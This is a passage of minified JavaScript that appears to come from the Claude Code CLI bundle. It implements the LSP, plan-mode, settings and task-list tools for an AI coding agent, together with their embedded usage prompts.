MX.default.createElement(pE2,{operation:A.operation,resultCount:A.resultCount,fileCount:A.fileCount,content:A.result,verbose:q});return MX.default.createElement(k6,null,MX.default.createElement(V,null,A.result))}var MX,UE2;var RzK=k(()=>{cA();mA();__();J0();Eq();ca();$8();YK();NzK();MX=o($A(),1),UE2={goToDefinition:{singular:"definition",plural:"definitions"},findReferences:{singular:"reference",plural:"references"},documentSymbol:{singular:"symbol",plural:"symbols"},workspaceSymbol:{singular:"symbol",plural:"symbols"},hover:{singular:"hover info",plural:"hover info",special:"available"},goToImplementation:{singular:"implementation",plural:"implementations"},prepareCallHierarchy:{singular:"call item",plural:"call items"},incomingCalls:{singular:"caller",plural:"callers"},outgoingCalls:{singular:"callee",plural:"callees"}}});import{readFile as dE2}from"fs/promises";import{pathToFileURL as cE2}from"url";import*as ib6 from"path";function nE2(A,K){let q=cE2(K).href,Y={line:A.line-1,character:A.character-1};switch(A.operation){case"goToDefinition":return{method:"textDocument/definition",params:{textDocument:{uri:q},position:Y}};case"findReferences":return{method:"textDocument/references",params:{textDocument:{uri:q},position:Y,context:{includeDeclaration:!0}}};case"hover":return{method:"textDocument/hover",params:{textDocument:{uri:q},position:Y}};case"documentSymbol":return{method:"textDocument/documentSymbol",params:{textDocument:{uri:q}}};case"workspaceSymbol":return{method:"workspace/symbol",params:{query:""}};case"goToImplementation":return{method:"textDocument/implementation",params:{textDocument:{uri:q},position:Y}};case"prepareCallHierarchy":return{method:"textDocument/prepareCallHierarchy",params:{textDocument:{uri:q},position:Y}};case"incomingCalls":return{method:"textDocument/prepareCallHierarchy",params:{textDocument:{uri:q},position:Y}};case"outgoingCalls":return{method:"textDocument/prepareCallHierarchy",params:{textDocument:{uri:q},position:Y}}}}function IzK(A){let K=A.length;for(let q of A)if(q.children&&q.children.length>0)K+=IzK(q.children);return K}function Ef1(A){return new Set(A.map((K)=>K.uri)).size}function rE2(A){return"targetUri"in A}function yzK(A){if(rE2(A))return{uri:A.targetUri,range:A.targetSelectionRange||A.targetRange};return A}function oE2(A,K,q){switch(A){case"goToDefinition":{let z=(Array.isArray(K)?K:K?[K]:[]).map(yzK),w=z.filter((J)=>!J||!J.uri);if(w.length>0)KA(Error(`LSP server returned ${w.length} location(s) with undefined URI for goToDefinition on ${q}. This indicates malformed data from the LSP server.`));let H=z.filter((J)=>J&&J.uri);return{formatted:db6(K,q),resultCount:H.length,fileCount:Ef1(H)}}case"findReferences":{let Y=K||[],z=Y.filter((H)=>!H||!H.uri);if(z.length>0)KA(Error(`LSP server returned ${z.length} location(s) with undefined URI for findReferences on ${q}. This indicates malformed data from the LSP server.`));let w=Y.filter((H)=>H&&H.uri);return{formatted:_zK(K,q),resultCount:w.length,fileCount:Ef1(w)}}case"hover":return{formatted:GzK(K,q),resultCount:K?1:0,fileCount:K?1:0};case"documentSymbol":{let Y=K||[],w=Y.length>0&&Y[0]&&"range"in Y[0]?IzK(Y):Y.length;return{formatted:WzK(K,q),resultCount:w,fileCount:Y.length>0?1:0}}case"workspaceSymbol":{let Y=K||[],z=Y.filter((J)=>!J||!J.location||!J.location.uri);if(z.length>0)KA(Error(`LSP server returned ${z.length} symbol(s) with undefined location URI for workspaceSymbol on ${q}. This indicates malformed data from the LSP server.`));let w=Y.filter((J)=>J&&J.location&&J.location.uri),H=w.map((J)=>J.location);return{formatted:cb6(K,q),resultCount:w.length,fileCount:Ef1(H)}}case"goToImplementation":{let z=(Array.isArray(K)?K:K?[K]:[]).map(yzK),w=z.filter((J)=>!J||!J.uri);if(w.length>0)KA(Error(`LSP server returned ${w.length} location(s) with undefined URI for goToImplementation on ${q}. This indicates malformed data from the LSP server.`));let H=z.filter((J)=>J&&J.uri);return{formatted:db6(K,q),resultCount:H.length,fileCount:Ef1(H)}}case"prepareCallHierarchy":{let Y=K||[];return{formatted:DzK(K,q),resultCount:Y.length,fileCount:Y.length>0?aE2(Y):0}}case"incomingCalls":{let Y=K||[];return{formatted:jzK(K,q),resultCount:Y.length,fileCount:Y.length>0?sE2(Y):0}}case"outgoingCalls":{let Y=K||[];return{formatted:MzK(K,q),resultCount:Y.length,fileCount:Y.length>0?tE2(Y):0}}}}function aE2(A){let K=A.map((q)=>q.uri).filter((q)=>q);return new Set(K).size}function sE2(A){let K=A.map((q)=>q.from?.uri).filter((q)=>q);return new Set(K).size}function tE2(A){let K=A.map((q)=>q.to?.uri).filter((q)=>q);return new Set(K).size}var lE2,iE2,nb6;var SzK=k(()=>{z7();HzK();PzK();Gs();Oz();y4();e6();Xz();C1();Z1();RzK();lE2=U.strictObject({operation:U.enum(["goToDefinition","findReferences","hover","documentSymbol","workspaceSymbol","goToImplementation","prepareCallHierarchy","incomingCalls","outgoingCalls"]).describe("The LSP operation to perform"),filePath:U.string().describe("The absolute or relative path to the file"),line:U.number().int().positive().describe("The line number (1-based, as shown in editors)"),character:U.number().int().positive().describe("The character offset (1-based, as shown in editors)")}),iE2=U.object({operation:U.enum(["goToDefinition","findReferences","hover","documentSymbol","workspaceSymbol","goToImplementation","prepareCallHierarchy","incomingCalls","outgoingCalls"]).describe("The LSP operation that was performed"),result:U.string().describe("The formatted result of the LSP operation"),filePath:U.string().describe("The file path the operation was performed on"),resultCount:U.number().int().nonnegative().optional().describe("Number of results (definitions, references, symbols)"),fileCount:U.number().int().nonnegative().optional().describe("Number of files containing results")}),nb6={name:VzK,maxResultSizeChars:1e5,isLsp:!0,async description(){return lb6},userFacingName:TzK,isEnabled(){if(w5A().status==="failed")return!1;let K=mp();if(!K)return!1;let q=K.getAllServers();if(q.size===0)return!1;return Array.from(q.values()).some((z)=>z.state!=="error")},inputSchema:lE2,outputSchema:iE2,isConcurrencySafe(){return!0},isReadOnly(){return!0},getPath({filePath:A}){return x7(A)},async validateInput(A){let K=wzK.safeParse(A);if(!K.success)return{result:!1,message:`Invalid input: ${K.error.message}`,errorCode:3};let q=BA(),Y=x7(A.filePath);if(!q.existsSync(Y))return{result:!1,message:`File does not exist: ${A.filePath}`,errorCode:1};try{if(!q.statSync(Y).isFile())return{result:!1,message:`Path is not a file: ${A.filePath}`,errorCode:2}}catch(z){let w=z instanceof Error?z:Error(String(z));return KA(Error(`Failed to access file stats for LSP operation on ${A.filePath}: ${w.message}`)),{result:!1,message:`Cannot access file: ${A.filePath}. ${w.message}`,errorCode:4}}return{result:!0}},async checkPermissions(A,K){let q=await K.getAppState();return rt(nb6,A,q.toolPermissionContext)},async prompt(){return lb6},renderToolUseMessage:vzK,renderToolUseRejectedMessage:EzK,renderToolUseErrorMessage:kzK,renderToolUseProgressMessage:CzK,renderToolResultMessage:LzK,async call(A,K){let q=x7(A.filePath),Y=x1();if(w5A().status==="pending")await fv7();let w=mp();if(!w)return KA(Error("LSP server manager not initialized when tool was called")),{data:{operation:A.operation,result:"LSP server manager not initialized. This may indicate a startup issue.",filePath:A.filePath}};let{method:H,params:J}=nE2(A,q);try{if(!w.isFileOpen(q)){let Z=await dE2(q,"utf-8");await w.openFile(q,Z)}let O=await w.sendRequest(q,H,J);if(O===void 0)return h(`No LSP server available for file type ${ib6.extname(q)} for operation ${A.operation} on file ${A.filePath}`),{data:{operation:A.operation,result:`No LSP server available for file type: ${ib6.extname(q)}`,filePath:A.filePath}};if(A.operation==="incomingCalls"||A.operation==="outgoingCalls"){let Z=O;if(!Z||Z.length===0)return{data:{operation:A.operation,result:"No call hierarchy item found at this position",filePath:A.filePath,resultCount:0,fileCount:0}};let W=A.operation==="incomingCalls"?"callHierarchy/incomingCalls":"callHierarchy/outgoingCalls";if(O=await w.sendRequest(q,W,{item:Z[0]}),O===void 0)h(`LSP server returned undefined for ${W} on ${A.filePath}`)}let{formatted:X,resultCount:$,fileCount:_}=oE2(A.operation,O,Y);return{data:{operation:A.operation,result:X,filePath:A.filePath,resultCount:$,fileCount:_}}}catch(O){let $=(O instanceof Error?O:Error(String(O))).message;return KA(Error(`LSP tool request failed for ${A.operation} on ${A.filePath}: ${$}`)),{data:{operation:A.operation,result:`Error performing ${A.operation}: ${$}`,filePath:A.filePath}}}},mapToolResultToToolResultBlockParam(A,K){return{tool_use_id:K,type:"tool_result",content:A.result}}}});function hzK(){return eE2}var eE2,P6J;var bzK=k(()=>{eE2=`Use this tool proactively when you're about to start a non-trivial implementation task. Getting user sign-off on your approach before writing code prevents wasted effort and ensures alignment. This tool transitions you into plan mode where you can explore the codebase and design an implementation approach for user approval. ## When to Use This Tool **Prefer using EnterPlanMode** for implementation tasks unless they're simple. Use it when ANY of these conditions apply: 1. **New Feature Implementation**: Adding meaningful new functionality - Example: "Add a logout button" - where should it go? What should happen on click? - Example: "Add form validation" - what rules? What error messages? 2. **Multiple Valid Approaches**: The task can be solved in several different ways - Example: "Add caching to the API" - could use Redis, in-memory, file-based, etc. - Example: "Improve performance" - many optimization strategies possible 3. **Code Modifications**: Changes that affect existing behavior or structure - Example: "Update the login flow" - what exactly should change? - Example: "Refactor this component" - what's the target architecture? 4. **Architectural Decisions**: The task requires choosing between patterns or technologies - Example: "Add real-time updates" - WebSockets vs SSE vs polling - Example: "Implement state management" - Redux vs Context vs custom solution 5. **Multi-File Changes**: The task will likely touch more than 2-3 files - Example: "Refactor the authentication system" - Example: "Add a new API endpoint with tests" 6. **Unclear Requirements**: You need to explore before understanding the full scope - Example: "Make the app faster" - need to profile and identify bottlenecks - Example: "Fix the bug in checkout" - need to investigate root cause 7. **User Preferences Matter**: The implementation could reasonably go multiple ways - If you would use ${bJ} to clarify the approach, use EnterPlanMode instead - Plan mode lets you explore first, then present options with context ## When NOT to Use This Tool Only skip EnterPlanMode for simple tasks: - Single-line or few-line fixes (typos, obvious bugs, small tweaks) - Adding a single function with clear requirements - Tasks where the user has given very specific, detailed instructions - Pure research/exploration tasks (use the Task tool with explore agent instead) ## What Happens in Plan Mode In plan mode, you'll: 1. Thoroughly explore the codebase using Glob, Grep, and Read tools 2. Understand existing patterns and architecture 3. Design an implementation approach 4. Present your plan to the user for approval 5. Use ${bJ} if you need to clarify approaches 6. Exit plan mode with ExitPlanMode when ready to implement ## Examples ### GOOD - Use EnterPlanMode: User: "Add user authentication to the app" - Requires architectural decisions (session vs JWT, where to store tokens, middleware structure) User: "Optimize the database queries" - Multiple approaches possible, need to profile first, significant impact User: "Implement dark mode" - Architectural decision on theme system, affects many components User: "Add a delete button to the user profile" - Seems simple but involves: where to place it, confirmation dialog, API call, error handling, state updates User: "Update the error handling in the API" - Affects multiple files, user should approve the approach ### BAD - Don't use EnterPlanMode: User: "Fix the typo in the README" - Straightforward, no planning needed User: "Add a console.log to debug this function" - Simple, obvious implementation User: "What files handle routing?" - Research task, not implementation planning ## Important Notes - This tool REQUIRES user approval - they must consent to entering plan mode - If unsure whether to use it, err on the side of planning - it's better to get alignment upfront than to redo work - Users appreciate being consulted before significant changes are made to their codebase `,P6J=`Use this tool when a task has genuine ambiguity about the right approach and getting user input before coding would prevent significant rework. This tool transitions you into plan mode where you can explore the codebase and design an implementation approach for user approval. ## When to Use This Tool Plan mode is valuable when the implementation approach is genuinely unclear. Use it when: 1. **Significant Architectural Ambiguity**: Multiple reasonable approaches exist and the choice meaningfully affects the codebase - Example: "Add caching to the API" - Redis vs in-memory vs file-based - Example: "Add real-time updates" - WebSockets vs SSE vs polling 2. **Unclear Requirements**: You need to explore and clarify before you can make progress - Example: "Make the app faster" - need to profile and identify bottlenecks - Example: "Refactor this module" - need to understand what the target architecture should be 3. **High-Impact Restructuring**: The task will significantly restructure existing code and getting buy-in first reduces risk - Example: "Redesign the authentication system" - Example: "Migrate from one state management approach to another" ## When NOT to Use This Tool Skip plan mode when you can reasonably infer the right approach: - The task is straightforward even if it touches multiple files - The user's request is specific enough that the implementation path is clear - You're adding a feature with an obvious implementation pattern (e.g., adding a button, a new endpoint following existing conventions) - Bug fixes where the fix is clear once you understand the bug - Research/exploration tasks (use the Task tool with explore agent instead) - The user says something like "can we work on X" or "let's do X" — just get started When in doubt, prefer starting work and using ${bJ} for specific questions over entering a full planning phase. ## What Happens in Plan Mode In plan mode, you'll: 1. Explore the codebase using Glob, Grep, and Read tools 2. Understand existing patterns and architecture 3. Design an implementation approach 4. Present your plan to the user for approval 5. Use ${bJ} if you need to clarify approaches 6. Exit plan mode with ExitPlanMode when ready to implement ## Examples ### GOOD - Use EnterPlanMode: User: "Add user authentication to the app" - Genuinely ambiguous: session vs JWT, where to store tokens, middleware structure User: "Redesign the data pipeline" - Major restructuring where the wrong approach wastes significant effort ### BAD - Don't use EnterPlanMode: User: "Add a delete button to the user profile" - Implementation path is clear; just do it User: "Can we work on the search feature?" - User wants to get started, not plan User: "Update the error handling in the API" - Start working; ask specific questions if needed User: "Fix the typo in the README" - Straightforward, no planning needed ## Important Notes - This tool REQUIRES user approval - they must consent to entering plan mode `});function xzK(){return null}function uzK(){return null}function BzK(A,K,q){return N_.createElement(S,{flexDirection:"column",marginTop:1},N_.createElement(S,{flexDirection:"row"},N_.createElement(V,{color:OD("plan")},uY),N_.createElement(V,null," Entered plan mode")),N_.createElement(S,{paddingLeft:2},N_.createElement(V,{dimColor:!0},"Claude is now exploring and designing an implementation approach.")))}function mzK(){return N_.createElement(S,{flexDirection:"row",marginTop:1},N_.createElement(V,{color:OD("default")},uY),N_.createElement(V,null," User declined to enter plan mode"))}function gzK(){return null}var N_;var FzK=k(()=>{mA();hf();n_();N_=o($A(),1)});var Ak2,Kk2,QUA;var rb6=k(()=>{z7();LH();q6();bzK();FzK();Ak2=U.strictObject({}),Kk2=U.object({message:U.string().describe("Confirmation that plan mode was entered")}),QUA={name:lZ1,maxResultSizeChars:1e5,async description(){return"Requests permission to enter plan mode for complex tasks requiring exploration and design"},async prompt(){return hzK()},inputSchema:Ak2,outputSchema:Kk2,userFacingName(){return""},isEnabled(){return!0},isConcurrencySafe(){return!0},isReadOnly(){return!0},async checkPermissions(A){return{behavior:"allow",updatedInput:A}},renderToolUseMessage:xzK,renderToolUseProgressMessage:uzK,renderToolResultMessage:BzK,renderToolUseRejectedMessage:mzK,renderToolUseErrorMessage:gzK,async call(A,K){if(K.agentId)throw Error("EnterPlanMode tool cannot be used in agent contexts");let q=await K.getAppState();return Qh(q.toolPermissionContext.mode,"plan"),K.setAppState((Y)=>({...Y,toolPermissionContext:nY(Y.toolPermissionContext,{type:"setMode",mode:"plan",destination:"session"})})),{data:{message:"Entered plan mode. You should now focus on exploring the codebase and designing an implementation approach."}}},mapToolResultToToolResultBlockParam({message:A},K){return{type:"tool_result",content:`${A} In plan mode, you should: 1. Thoroughly explore the codebase to understand existing patterns 2. Identify similar features and architectural approaches 3. Consider multiple approaches and their trade-offs 4. Use AskUserQuestion if you need to clarify the approach 5. Design a concrete implementation strategy 6. When ready, use ExitPlanMode to present your plan for approval Remember: DO NOT write or edit any files yet. This is a read-only exploration and planning phase.`,tool_use_id:K}}}});var ob6,ab6,QzK;var sb6=k(()=>{ob6=["auto","iterm2","iterm2_with_bell","terminal_bell","kitty","notifications_disabled"],ab6=["normal","vim"],QzK=["auto","tmux","in-process"]});function qk2(A){let K=A.find((z)=>z.role==="user");if(!K)return"";let q=K.content;if(typeof q==="string")return q;let Y=q.find((z)=>z.type==="text");return Y?.type==="text"?Y.text:""}async function eMA(A){let{model:K,system:q,messages:Y,tools:z,tool_choice:w,output_format:H,max_tokens:J=1024,maxRetries:O=2,signal:X}=A,$=await ZI({maxRetries:O,model:K}),_=[...RT(K)];if(H&&!_.includes(jl))_.push(jl);let G=qk2(Y),Z=A76(G,{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION),W=Qq1(Z),D=Fq1({isNonInteractive:!1,hasAppendSystemPrompt:!1}),j=[W?{type:"text",text:W}:null,{type:"text",text:D},...Array.isArray(q)?q:q?[{type:"text",text:q}]:[]].filter((P)=>P!==null);return await $.beta.messages.create({model:vQ(K),max_tokens:J,system:j,messages:Y,...z&&{tools:z},...w&&{tool_choice:w},...H&&{output_config:{format:H}},..._.length>0&&{betas:_},metadata:no()},{signal:X})}var kf1=k(()=>{RxA();sz();ok();z1A();Uq1();K76();K7()});async function Cf1(A){let K=A.trim();if(!K)return{valid:!1,error:"Model name cannot be empty"};let q=K.toLowerCase();if(qXA.includes(q))return{valid:!0};if(UzK.has(K))return{valid:!0};try{return await eMA({model:K,max_tokens:1,maxRetries:0,messages:[{role:"user",content:[{type:"text",text:"Hi",cache_control:{type:"ephemeral"}}]}]}),UzK.set(K,!0),{valid:!0}}catch(Y){return Yk2(Y,K)}}function Yk2(A,K){if(A instanceof k6A)return{valid:!1,error:`Model '${K}' not found`};if(A instanceof r7){if(A instanceof E6A)return{valid:!1,error:"Authentication failed. Please check your API credentials."};if(A instanceof nj)return{valid:!1,error:"Network error. Please check your internet connection."};let Y=A.error;if(Y&&typeof Y==="object"&&"type"in Y&&Y.type==="not_found_error"&&"message"in Y&&typeof Y.message==="string"&&Y.message.includes("model:"))return{valid:!1,error:`Model '${K}' not found`};return{valid:!1,error:`API error: ${A.message}`}}return{valid:!1,error:`Unable to validate model: ${A instanceof Error?A.message:String(A)}`}}var UzK;var tb6=k(()=>{K7();kf1();sN();UzK=new Map});var zk2;var eb6=k(()=>{Z4A();sb6();tb6();K7();zk2={theme:{source:"global",type:"string",description:"Color theme for the UI",options:$04},editorMode:{source:"global",type:"string",description:"Key binding mode",options:ab6},verbose:{source:"global",type:"boolean",description:"Show detailed debug output",appStateKey:"verbose"},preferredNotifChannel:{source:"global",type:"string",description:"Preferred notification channel",options:ob6},autoCompactEnabled:{source:"global",type:"boolean",description:"Auto-compact when context is full"},fileCheckpointingEnabled:{source:"global",type:"boolean",description:"Enable file checkpointing for code rewind"},showTurnDuration:{source:"global",type:"boolean",description:'Show turn duration message after responses (e.g., "Cooked for 1m 6s")'},todoFeatureEnabled:{source:"global",type:"boolean",description:"Enable todo/task tracking"},model:{source:"settings",type:"string",description:"Override the default model",appStateKey:"mainLoopModel",getOptions:()=>{try{return Y4A().filter((A)=>A.value!==null).map((A)=>A.value)}catch{return["sonnet","opus","haiku"]}},validateOnWrite:(A)=>Cf1(String(A)),formatOnRead:(A)=>A===null?"default":A},alwaysThinkingEnabled:{source:"settings",type:"boolean",description:"Enable extended thinking (false to disable)",appStateKey:"thinkingEnabled"},"permissions.defaultMode":{source:"settings",type:"string",description:"Default permission mode for tool usage",options:["default","plan","acceptEdits","dontAsk"]},language:{source:"settings",type:"string",description:'Preferred language for Claude responses (e.g., "japanese", "spanish")'},teammateMode:{source:"global",type:"string",description:'How to spawn teammates: "tmux" for traditional tmux, "in-process" for same process, "auto" to choose automatically',options:QzK},...{}}});var pzK=k(()=>{eb6();K7()});var Hk2;var dzK=k(()=>{mA();J0();Eq();b1();Hk2=o($A(),1)});var y8J,I8J;var czK=k(()=>{z7();pzK();eb6();dzK();i6();I8();l1();C1();b1();oJ1();y8J=U.strictObject({setting:U.string().describe('The setting key (e.g., "theme", "model", "permissions.defaultMode")'),value:U.union([U.string(),U.boolean(),U.number()]).optional().describe("The new value. Omit to get current value.")}),I8J=U.object({success:U.boolean(),operation:U.enum(["get","set"]).optional(),setting:U.string().optional(),value:U.unknown().optional(),previousValue:U.unknown().optional(),newValue:U.unknown().optional(),error:U.string().optional()})});function izK(){let A=b8()?" and potentially assigned to teammates":"",K=b8()?`- New tasks are created with status 'open' and no owner - use TeammateTool's assignTask to assign them `:"";return`Use this tool to create a structured task list for your current coding session. This helps you track progress, organize complex tasks, and demonstrate thoroughness to the user. It also helps the user understand the progress of the task and overall progress of their requests. ## When to Use This Tool Use this tool proactively in these scenarios: - Complex multi-step tasks - When a task requires 3 or more distinct steps or actions - Non-trivial and complex tasks - Tasks that require careful planning or multiple operations${A} - Plan mode - When using plan mode, create a task list to track the work - User explicitly requests todo list - When the user directly asks you to use the todo list - User provides multiple tasks - When users provide a list of things to be done (numbered or comma-separated) - After receiving new instructions - Immediately capture user requirements as tasks - When you start working on a task - Mark it as in_progress BEFORE beginning work - After completing a task - Mark it as completed and add any new follow-up tasks discovered during implementation ## When NOT to Use This Tool Skip using this tool when: - There is only a single, straightforward task - The task is trivial and tracking it provides no organizational benefit - The task can be completed in less than 3 trivial steps - The task is purely conversational or informational NOTE that you should not use this tool if there is only one trivial task to do. In this case you are better off just doing the task directly. ## Task Fields - **subject**: A brief, actionable title in imperative form (e.g., "Fix authentication bug in login flow") - **description**: Detailed description of what needs to be done, including context and acceptance criteria - **activeForm**: Present continuous form shown in spinner when task is in_progress (e.g., "Fixing authentication bug"). This is displayed to the user while you work on the task. **IMPORTANT**: Always provide activeForm when creating tasks. The subject should be imperative ("Run tests") while activeForm should be present continuous ("Running tests"). All tasks are created with status \`pending\`. ## Tips - Create tasks with clear, specific subjects that describe the outcome - Include enough detail in the description for another agent to understand and complete the task - After creating tasks, use TaskUpdate to set up dependencies (blocks/blockedBy) if needed ${K}- Check TaskList first to avoid creating duplicate tasks `}var lzK="Create a new task in the task list";var nzK=k(()=>{t9()});function rzK(){return null}function ozK(){return null}function azK(){return null}function szK(){return null}function tzK(A){return null}var Jk2,Ok2,ezK;var AwK=k(()=>{z7();nzK();VJ();Jk2=U.strictObject({subject:U.string().describe("A brief title for the task"),description:U.string().describe("A detailed description of what needs to be done"),activeForm:U.string().optional().describe('Present continuous form shown in spinner when in_progress (e.g., "Running tests")'),metadata:U.record(U.string(),U.unknown()).optional().describe("Arbitrary metadata to attach to the task")}),Ok2=U.object({task:U.object({id:U.string(),subject:U.string()})}),ezK={name:Aa,maxResultSizeChars:1e5,async description(){return lzK},async prompt(){return izK()},inputSchema:Jk2,outputSchema:Ok2,userFacingName(){return"TaskCreate"},isEnabled(){return ew()},isConcurrencySafe(){return!0},isReadOnly(){return!1},async checkPermissions(A){return{behavior:"allow",updatedInput:A}},renderToolUseMessage:rzK,renderToolUseProgressMessage:ozK,renderToolUseRejectedMessage:azK,renderToolUseErrorMessage:szK,renderToolResultMessage:tzK,async call({subject:A,description:K,activeForm:q,metadata:Y},z){let w=OXA(JM(),{subject:A,description:K,activeForm:q,status:"pending",owner:void 0,blocks:[],blockedBy:[],metadata:Y});return z.setAppState((H)=>{if(H.showExpandedTodos)return H;return{...H,showExpandedTodos:!0}}),{data:{task:{id:w,subject:A}}}},mapToolResultToToolResultBlockParam(A,K){let{task:q}=A;return{tool_use_id:K,type:"tool_result",content:`Task #${q.id} created successfully: ${q.subject}`}}}});var KwK="Get a task by ID from the task list",qwK=`Use this tool to retrieve a task by its ID from the task list. ## When to Use This Tool - When you need the full description and context before starting work on a task - To understand task dependencies (what it blocks, what blocks it) - After being assigned a task, to get complete requirements ## Output Returns full task details: - **subject**: Task title - **description**: Detailed requirements and context - **status**: 'pending', 'in_progress', or 'completed' - **blocks**: Tasks waiting on this one to complete - **blockedBy**: Tasks that must complete before this one can start ## Tips - After fetching a task, verify its blockedBy list is empty before beginning work. - Use TaskList to see all tasks in summary form. `;function YwK(){return null}function zwK(){return null}function wwK(){return null}function HwK(){return null}function JwK(){return null}var Xk2,$k2,OwK;var XwK=k(()=>{z7();VJ();Xk2=U.strictObject({taskId:U.string().describe("The ID of the task to retrieve")}),$k2=U.object({task:U.object({id:U.string(),subject:U.string(),description:U.string(),status:z4A,blocks:U.array(U.string()),blockedBy:U.array(U.string())}).nullable()}),OwK={name:iZ1,maxResultSizeChars:1e5,async description(){return KwK},async prompt(){return qwK},inputSchema:Xk2,outputSchema:$k2,userFacingName(){return"TaskGet"},isEnabled(){return ew()},isConcurrencySafe(){return!0},isReadOnly(){return!0},async checkPermissions(A){return{behavior:"allow",updatedInput:A}},renderToolUseMessage:YwK,renderToolUseProgressMessage:zwK,renderToolUseRejectedMessage:wwK,renderToolUseErrorMessage:HwK,renderToolResultMessage:JwK,async call({taskId:A}){let K=JM(),q=kQ(K,A);if(!q)return{data:{task:null}};return{data:{task:{id:q.id,subject:q.subject,description:q.description,status:q.status,blocks:q.blocks,blockedBy:q.blockedBy}}}},mapToolResultToToolResultBlockParam(A,K){let{task:q}=A;if(!q)return{tool_use_id:K,type:"tool_result",content:"Task not found",is_error:!0};let Y=[`Task #${q.id}: ${q.subject}`,`Status: ${q.status}`,`Description: ${q.description}`];if(q.blockedBy.length>0)Y.push(`Blocked by: ${q.blockedBy.map((z)=>`#${z}`).join(", ")}`);if(q.blocks.length>0)Y.push(`Blocks: ${q.blocks.map((z)=>`#${z}`).join(", ")}`);return{tool_use_id:K,type:"tool_result",content:Y.join(` `)}}}});var $wK="Update a task in the task list",_wK=`Use this tool to update a task in the task list. ## When to Use This Tool **Mark tasks as resolved:** - When you have completed the work described in a task - When a task is no longer needed or has been superseded - IMPORTANT: Always mark your assigned tasks as resolved when you finish them - After resolving, call TaskList to find your next task - ONLY mark a task as completed when you have FULLY accomplished it - If you encounter errors, blockers, or cannot finish, keep the task as in_progress - When blocked, create a new task describing what needs to be resolved - Never mark a task as completed if: - Tests are failing - Implementation is partial - You encountered unresolved errors - You couldn't find necessary files or dependencies **Delete tasks:** - When a task is no longer relevant or was created in error - Setting status to \`deleted\` permanently removes the task **Update task details:** - When requirements change or become clearer - When establishing dependencies between tasks ## Fields You Can Update - **status**: The task status (see Status Workflow below) - **subject**: Change the task title (imperative form, e.g., "Run tests") - **description**: Change the task description - **activeForm**: Present continuous form shown in spinner when in_progress (e.g., "Running tests") - **owner**: Change the task owner (agent name) - **metadata**: Merge metadata keys into the task (set a key to null to delete it) - **addBlocks**: Mark tasks that cannot start until this one completes - **addBlockedBy**: Mark tasks that must complete before this one can start ## Status Workflow Status progresses: \`pending\` → \`in_progress\` → \`completed\` Use \`deleted\` to permanently remove a task. ## Staleness Make sure to read a task's latest state using \`TaskGet\` before updating it. ## Examples Mark task as in progress when starting work: \`\`\`json {"taskId": "1", "status": "in_progress"} \`\`\` Mark task as completed after finishing work: \`\`\`json {"taskId": "1", "status": "completed"} \`\`\` Delete a task: \`\`\`json {"taskId": "1", "status": "deleted"} \`\`\` Claim a task by setting owner: \`\`\`json {"taskId": "1", "owner": "my-name"} \`\`\` Set up task dependencies: \`\`\`json {"taskId": "2", "addBlockedBy": ["1"]} \`\`\` `;function GwK(){return null}function ZwK(){return null}function WwK(){return null}function DwK(){return null}function jwK(A){return null}var _k2,Gk2,Zk2,MwK;var PwK=k(()=>{z7();VJ();t9();W2();_H();_k2=z4A.or(U.literal("deleted")),Gk2=U.strictObject({taskId:U.string().describe("The ID of the task to update"),subject:U.string().optional().describe("New subject for the task"),description:U.string().optional().describe("New description for the task"),activeForm:U.string().optional().describe('Present continuous form shown in spinner when in_progress (e.g., "Running tests")'),status:_k2.optional().describe("New status for the task"),addBlocks:U.array(U.string()).optional().describe("Task IDs that this task blocks"),addBlockedBy:U.array(U.string()).optional().describe("Task IDs that block this task"),owner:U.string().optional().describe("New owner for the task"),metadata:U.record(U.string(),U.unknown()).optional().describe("Metadata keys to merge into the task. Set a key to null to delete it.")}),Zk2=U.object({success:U.boolean(),taskId:U.string(),updatedFields:U.array(U.string()),error:U.string().optional(),statusChange:U.object({from:U.string(),to:U.string()}).optional()}),MwK={name:tU,maxResultSizeChars:1e5,async description(){return $wK},async prompt(){return _wK},inputSchema:Gk2,outputSchema:Zk2,userFacingName(){return"TaskUpdate"},isEnabled(){return ew()},isConcurrencySafe(){return!0},isReadOnly(){return!1},async checkPermissions(A){return{behavior:"allow",updatedInput:A}},renderToolUseMessage:GwK,renderToolUseProgressMessage:ZwK,renderToolUseRejectedMessage:WwK,renderToolUseErrorMessage:DwK,renderToolResultMessage:jwK,async call({taskId:A,subject:K,description:q,activeForm:Y,status:z,owner:w,addBlocks:H,addBlockedBy:J,metadata:O},X){let $=JM();X.setAppState((W)=>{if(W.showExpandedTodos)return W;return{...W,showExpandedTodos:!0}});let _=kQ($,A);if(!_)return{data:{success:!1,taskId:A,updatedFields:[],error:"Task not found"}};let G=[],Z={};if(K!==void 0&&K!==_.subject)Z.subject=K,G.push("subject");if(q!==void 0&&q!==_.description)Z.description=q,G.push("description");if(Y!==void 0&&Y!==_.activeForm)Z.activeForm=Y,G.push("activeForm");if(w!==void 0&&w!==_.owner)Z.owner=w,G.push("owner");if(b8()&&z==="in_progress"&&w===void 0&&!_.owner){let W=b9();if(W)Z.owner=W,G.push("owner")}if(O!==void 0){let W={..._.metadata??{}};for(let[D,j]of Object.entries(O))if(j===null)delete W[D];else W[D]=j;Z.metadata=W,G.push("metadata")}if(z!==void 0){if(z==="deleted"){let W=nq1($,A);return{data:{success:W,taskId:A,updatedFields:W?["deleted"]:[],error:W?void 0:"Failed to delete task",statusChange:W?{from:_.status,to:"deleted"}:void 0}}}if(z!==_.status)Z.status=z,G.push("status")}if(Object.keys(Z).length>0)Ey($,A,Z);if(Z.owner&&b8()){let W=b9()||"team-lead",D=PJ(),j=JSON.stringify({type:"task_assignment",taskId:A,subject:_.subject,description:_.description,assignedBy:W,timestamp:new Date().toISOString()});Q3(Z.owner,{from:W,text:j,timestamp:new Date().toISOString(),color:D},$)}if(H&&H.length>0){let W=H.filter((D)=>!_.blocks.includes(D));for(let D of W)_76($,A,D);if(W.length>0)G.push("blocks")}if(J&&J.length>0){let W=J.filter((D)=>!_.blockedBy.includes(D));for(let D of W)_76($,D,A);if(W.length>0)G.push("blockedBy")}return{data:{success:!0,taskId:A,updatedFields:G,statusChange:Z.status!==void 0?{from:_.status,to:Z.status}:void 